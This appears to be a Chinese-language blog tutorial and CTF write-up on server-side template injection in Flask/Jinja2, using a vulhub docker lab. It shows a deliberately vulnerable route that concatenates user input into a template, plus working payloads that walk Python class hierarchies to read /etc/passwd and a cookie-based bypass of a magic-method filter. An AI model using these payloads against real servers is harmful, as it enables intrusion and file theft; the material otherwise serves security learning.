服务端模板注入SSTI

参考链接:

https://www.cnblogs.com/tyomcat/p/5440488.html

https://www.jianshu.com/p/367ea79c5482

0x01 环境准备

该环境是基于python Flask框架搭建起来的

github上下载一个docker

https://github.com/vulhub/vulhub/tree/master/flask/ssti

具体执行命令里面有

1
2
3
4
5
6
7
8
9
10
11
12
# 拉取项目
git clone https://github.com/vulhub/vulhub.git
cd vulhub

# 进入某一个漏洞/环境的目录
cd flask/ssti

# 自动化编译环境
docker-compose build

# 启动整个环境
docker-compose up -d

0x02 原理介绍

SSTI (Server side template injection) 服务端模板注入

先来看一下主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":

源码分析

name是可输入变量,template()相当于waf,对模板的过滤转义等等,所以一般xss注入是行不通的,(这里代码没太多过滤,xss是可行的,这里讲模板注入)

下面在本地进行测试几个例子

1
http://192.168.1.102:8000/?name=1*3

image

1
http://192.168.1.102:8000/?name={{1*3}}

image

1
http://192.168.1.102:8000/?name={{'abc'.upper()}}

image

由此可以分析到里面代码会执行,任意命令执行的方法就出来了,这就是原理.

0x03 模板注入(进阶)

如果开发者使用字符串格式化,来将用户输入动态地加入到模板字符串中,而不是通过render_template_string函数将URL传递进入模板内容当中,那么xss就失效了,只能用

注入姿势

  • 内省request对象。request对象是一个Flask模板全局变量,代表“当前请求对象(flask.request)”。当你在视图中访问request对象时,它包含了你预期想看到的所有信息。

  • 内省config对象,config对象是一个Flask模板全局变量,代表“当前配置对象(flask.config)”。

  • 使用非常重要的内省组件: mrosubclasses属性。使用mro属性来访问对象的父类,使用subclasses属性来访问对象的子类。

1
{{''.\__class__.\__mro__ }} 作为payload注入到SSTI漏洞点当中,

使用索引1来选择object类。现在我们到达了object类,我们使用subclasses属性来dump应用程序中使用的所有类(找到file类的索引)

1
{{''.\__class__.\__mro__[1].\__subclasses__() }} 注入到SSTI漏洞点当中

image  

  • 任意文件读取POC

file类能够实例化文件对象,而且如果我们实例化了一个文件对象,那么我们就可用使用类似于read的方法来读取相关内容。

     找到file类的索引,在我的环境中类的索引是40,我们就注入

1
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}。

具体参考我上面的链接

0x04 赛题分析

因为题目的关闭,这里只能给个大概的分析

确认是SSTI漏洞,但这儿把魔术方法给拦截了,所以这个下面payload不可行

1
{{ ''.__class__.__mro__[2].__subclasses__()\[40]('/etc/passwd').read() }}

但也并不是毫无办法,可以写为

1
{{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('/etc/passwd')[request.cookies.d]()}}
1
并传入四个cookiea=\__class__; b=\__mro__; c=\__subclasses__; d=read

0x05 总结

一个很不错的姿势呢

文章目录
  1. 1. 0x01 环境准备
  2. 2. 0x02 原理介绍
    1. 2.1. 源码分析
  3. 3. 0x03 模板注入(进阶)
    1. 3.1. 注入姿势
  4. 4. 0x04 赛题分析
  5. 5. 0x05 总结
,